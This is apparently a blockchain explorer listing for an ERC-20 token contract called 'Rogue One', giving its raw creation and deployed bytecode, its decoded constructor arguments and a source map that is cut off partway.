77000000000081525060200191505060405180910390fd5b8091505092915050565b60006122fc8260000161249c565b9050919050565b600061232b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6124ad565b905092915050565b600081600001549050919050565b6000808380549050141561235857600090506123f0565b60008090506000848054905090505b808210156123b057600061237b8383612595565b90508486828154811061238a57fe5b906000526020600020015411156123a3578091506123aa565b6001810192505b50612367565b6000821180156123d85750838560018403815481106123cb57fe5b9060005260206000200154145b156123ea5760018203925050506123f0565b81925050505b92915050565b600081836000018054905011612457576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126786022913960400191505060405180910390fd5b82600001828154811061246657fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b6000808360010160008481526020019081526020016000205490506000811461258957600060018203905060006001866000018054905003905060008660000182815481106124f857fe5b906000526020600020015490508087600001848154811061251557fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061254d57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061258f565b60009150505b92915050565b600060028083816125a257fe5b06600285816125ad57fe5b0601816125b657fe5b04600283816125c157fe5b04600285816125cc57fe5b040101905092915050565b60006125ff836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612607565b905092915050565b60006126138383612479565b61266c578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612671565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a264697066735822122025c31ea45dcfa1e058f3b55938398246650ac7dce1d13b3eab1efa9e51ffcbf264736f6c63430006020033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000002386f26fc100000000000000000000000000000000000000000000000000000000000000000009526f677565204f6e6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008526f6775654f6e65000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80639010d07c116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461092b578063f61d627d146109a3578063f846a885146109c1578063ff44af1f146109df576101c4565b8063a9059cbb14610835578063ca15c8731461089b578063d547741f146108dd576101c4565b8063981b24d0116100d3578063981b24d01461072b5780639f87adc91461076d578063a217fddf146107b1578063a457c2d7146107cf576101c4565b80639010d07c146105ca57806391d148541461064257806395d89b41146106a8576101c4565b806336568abe116101665780634ee2cd7e116101405780634ee2cd7e146104a45780637028e2cd1461050657806370a082311461052457806379cc67901461057c576101c4565b806336568abe146103da578063395093511461042857806342966c6814610476576101c4565b806318160ddd116101a257806318160ddd146102d057806323b872dd146102ee578063248a9ca314610374578063313ce567146103b6576101c4565b806301c234a8146101c957806306fdde03146101e7578063095ea7b31461026a575b600080fd5b6101d1610a3b565b6040518082815260200191505060405180910390f35b6101ef610a40565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022f578082015181840152602081019050610214565b50505050905090810190601f16801561025c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b66004803603604081101561028057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae2565b604051808215151515815260200191505060405180910390f35b6102d8610b00565b6040518082815260200191505060405180910390f35b61035a6004803603606081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0a565b604051808215151515815260200191505060405180910390f35b6103a06004803603602081101561038a57600080fd5b8101908080359060200190929190505050610be3565b6040518082815260200191505060405180910390f35b6103be610c02565b604051808260ff1660ff16815260200191505060405180910390f35b610426600480360360408110156103f057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c19565b005b6104746004803603604081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cb2565b005b6104a26004803603602081101561048c57600080fd5b8101908080359060200190929190505050610d1a565b005b6104f0600480360360408110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d88565b6040518082815260200191505060405180910390f35b61050e610df8565b6040518082815260200191505060405180910390f35b6105666004803603602081101561053a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e31565b6040518082815260200191505060405180910390f35b6105c86004803603604081101561059257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7a565b005b610600600480360360408110156105e057600080fd5b810190808035906020019092919080359060200190929190505050610f36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61068e6004803603604081101561065857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f67565b604051808215151515815260200191505060405180910390f35b6106b0610f98565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f05780820151818401526020810190506106d5565b50505050905090810190601f16801561071d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107576004803603602081101561074157600080fd5b810190808035906020019092919050505061103a565b6040518082815260200191505060405180910390f35b6107af6004803603602081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106b565b005b6107b96111d7565b6040518082815260200191505060405180910390f35b61081b600480360360408110156107e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111de565b604051808215151515815260200191505060405180910390f35b6108816004803603604081101561084b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ab565b604051808215151515815260200191505060405180910390f35b6108c7600480360360208110156108b157600080fd5b8101908080359060200190929190505050611686565b6040518082815260200191505060405180910390f35b610929600480360360408110156108f357600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ac565b005b61098d6004803603604081101561094157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611735565b6040518082815260200191505060405180910390f35b6109ab6117bc565b6040518082815260200191505060405180910390f35b6109c96117c2565b6040518082815260200191505060405180910390f35b610a21600480360360208110156109f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c8565b604051808215151515815260200191505060405180910390f35b606481565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ad85780601f10610aad57610100808354040283529160200191610ad8565b820191906000526020600020905b815481529060010190602001808311610abb57829003601f168201915b5050505050905090565b6000610af6610aef61181e565b8484611826565b6001905092915050565b6000600454905090565b6000610b17848484611a1d565b610bd884610b2361181e565b610bd38560405180606001604052806028815260200161273560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b8961181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b611826565b600190509392505050565b6000806000838152602001908152602001600020600201549050919050565b6000600960009054906101000a900460ff16905090565b610c2161181e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612810602f913960400191505060405180910390fd5b610cae8282611e8f565b5050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d0c57600080fd5b610d168282611f22565b5050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b610d85610d7f61181e565b82611f22565b50565b6000806000610dd584600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206120c2565b9150915081610dec57610de785610e31565b610dee565b805b9250505092915050565b60405180807f534e415053484f545f524f4c4500000000000000000000000000000000000000815250600d019050604051809103902081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ed457600080fd5b6000610f138260405180606001604052806024815260200161275d60249139610f0486610eff61181e565b611735565b611dcf9092919063ffffffff16565b9050610f2783610f2161181e565b83611826565b610f318383611f22565b505050565b6000610f5f8260008086815260200190815260200160002060000161221c90919063ffffffff16565b905092915050565b6000610f908260008086815260200190815260200160002060000161223690919063ffffffff16565b905092915050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110305780601f1061100557610100808354040283529160200191611030565b820191906000526020600020905b81548152906001019060200180831161101357829003601f168201915b5050505050905090565b600080600061104a84600b6120c2565b91509150816110605761105b610b00565b611062565b805b92505050919050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c557600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561117b576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506111d4565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000801b81565b60006112a16111eb61181e565b8461129c856040518060600160405280602581526020016127eb602591396003600061121561181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b611826565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff166112cc61181e565b73ffffffffffffffffffffffffffffffffffffffff161415611339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806127a26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061269a6023913960400191505060405180910390fd5b600260006113cb61181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114675750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114be57600082146114bd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b611531826040518060600160405280602681526020016126df60269139600160006114e761181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b6001600061153d61181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661162f61181e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006116a56000808481526020019081526020016000206000016122ee565b9050919050565b6116d2600080848152602001908152602001600020600201546116cd61181e565b610f67565b611727576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806127056030913960400191505060405180910390fd5b6117318282611e8f565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127c76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611932576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126bd6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806127a26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061269a6023913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bca5750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c215760008114611c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b611c8d816040518060600160405280602681526020016126df60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611e7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e41578082015181840152602081019050611e26565b50505050905090810190601f168015611e6e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b611eb68160008085815260200190815260200160002060000161230390919063ffffffff16565b15611f1e57611ec361181e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fa8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127816021913960400191505060405180910390fd5b611ffa81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120528160045461226690919063ffffffff16565b6004819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806000841161213b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4552433230536e617073686f743a20696420697320300000000000000000000081525060200191505060405180910390fd5b612145600d612333565b8411156121ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4552433230536e617073686f743a206e6f6e6578697374656e7420696400000081525060200191505060405180910390fd5b60006121d2858560000161234190919063ffffffff16565b905083600001805490508114156121f3576000808090509250925050612215565b600184600101828154811061220457fe5b906000526020600020015492509250505b9250929050565b600061222b83600001836123f6565b60001c905092915050565b600061225e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612479565b905092915050565b6000808284019050838110156122e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006122fc8260000161249c565b9050919050565b600061232b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6124ad565b905092915050565b600081600001549050919050565b6000808380549050141561235857600090506123f0565b60008090506000848054905090505b808210156123b057600061237b8383612595565b90508486828154811061238a57fe5b906000526020600020015411156123a3578091506123aa565b6001810192505b50612367565b6000821180156123d85750838560018403815481106123cb57fe5b9060005260206000200154145b156123ea5760018203925050506123f0565b81925050505b92915050565b600081836000018054905011612457576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126786022913960400191505060405180910390fd5b82600001828154811061246657fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b6000808360010160008481526020019081526020016000205490506000811461258957600060018203905060006001866000018054905003905060008660000182815481106124f857fe5b906000526020600020015490508087600001848154811061251557fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061254d57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061258f565b60009150505b92915050565b600060028083816125a257fe5b06600285816125ad57fe5b0601816125b657fe5b04600283816125c157fe5b04600285816125cc57fe5b040101905092915050565b60006125ff836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612607565b905092915050565b60006126138383612479565b61266c578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612671565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a264697066735822122025c31ea45dcfa1e058f3b55938398246650ac7dce1d13b3eab1efa9e51ffcbf264736f6c63430006020033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000002386f26fc100000000000000000000000000000000000000000000000000000000000000000009526f677565204f6e6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008526f6775654f6e65000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name (string): Rogue One
Arg [1] : symbol (string): RogueOne
Arg [2] : decimals (uint8): 9
Arg [3] : totalSupply_ (uint256): 10000000000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000002386f26fc10000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 526f677565204f6e650000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [7] : 526f6775654f6e65000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
48618:543:0:-:0;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;48618:543:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11844:46;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12598:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;12598:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15159:169;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;15159:169:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;13673:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15802:321;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;15802:321:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;34084:114;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;34084:114:0;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13525:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;35662:209;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;35662:209:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16538:160;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;16538:160:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;21123:134;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;21123:134:0;;;;;;;;;;;;;;;;;:::i;:::-;;45139:258;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;45139:258:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;48344:66;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13837:119;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;13837:119:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;21574:336;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;21574:336:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;33757:138;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;33757:138:0;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;32718:139;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;32718:139:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;12800:87;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;12800:87:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;45501:225;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;45501:225:0;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;20131:276;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;20131:276:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;31463:49;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17199:269;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;17199:269:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;14169:629;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;14169:629:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;33031:127;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;33031:127:0;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;34925:230;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;34925:230:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14861:151;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;14861:151:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11773:29;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11809:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;20415:124;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;20415:124:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;11844:46;11887:3;11844:46;:::o;12598:83::-;12635:13;12668:5;12661:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12598:83;:::o;15159:169::-;15242:4;15259:39;15268:12;:10;:12::i;:::-;15282:7;15291:6;15259:8;:39::i;:::-;15316:4;15309:11;;15159:169;;;;:::o;13673:100::-;13726:7;13753:12;;13746:19;;13673:100;:::o;15802:321::-;15908:4;15925:36;15935:6;15943:9;15954:6;15925:9;:36::i;:::-;15972:121;15981:6;15989:12;:10;:12::i;:::-;16003:89;16041:6;16003:89;;;;;;;;;;;;;;;;;:11;:19;16015:6;16003:19;;;;;;;;;;;;;;;:33;16023:12;:10;:12::i;:::-;16003:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;15972:8;:121::i;:::-;16111:4;16104:11;;15802:321;;;;;:::o;34084:114::-;34141:7;34168:6;:12;34175:4;34168:12;;;;;;;;;;;:22;;;34161:29;;34084:114;;;:::o;13525:83::-;13566:5;13591:9;;;;;;;;;;;13584:16;;13525:83;:::o;35662:209::-;35760:12;:10;:12::i;:::-;35749:23;;:7;:23;;;35741:83;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35837:26;35849:4;35855:7;35837:11;:26::i;:::-;35662:209;;:::o;16538:160::-;16642:10;;;;;;;;;;;16628:24;;:10;:24;;;16620:33;;;;;;16664:26;16670:7;16679:10;16664:5;:26::i;:::-;16538:160;;:::o;21123:134::-;21200:10;;;;;;;;;;;21187:23;;:10;:23;;;21179:32;;;;;;21222:27;21228:12;:10;:12::i;:::-;21242:6;21222:5;:27::i;:::-;21123:134;:::o;45139:258::-;45218:7;45239:16;45257:13;45274:55;45283:10;45295:24;:33;45320:7;45295:33;;;;;;;;;;;;;;;45274:8;:55::i;:::-;45238:91;;;;45349:11;:40;;45371:18;45381:7;45371:9;:18::i;:::-;45349:40;;;45363:5;45349:40;45342:47;;;;45139:258;;;;:::o;48344:66::-;48384:26;;;;;;;;;;;;;;;;;;;48344:66;:::o;13837:119::-;13903:7;13930:9;:18;13940:7;13930:18;;;;;;;;;;;;;;;;13923:25;;13837:119;;;:::o;21574:336::-;21672:10;;;;;;;;;;;21659:23;;:10;:23;;;21651:32;;;;;;21694:26;21723:84;21760:6;21723:84;;;;;;;;;;;;;;;;;:32;21733:7;21742:12;:10;: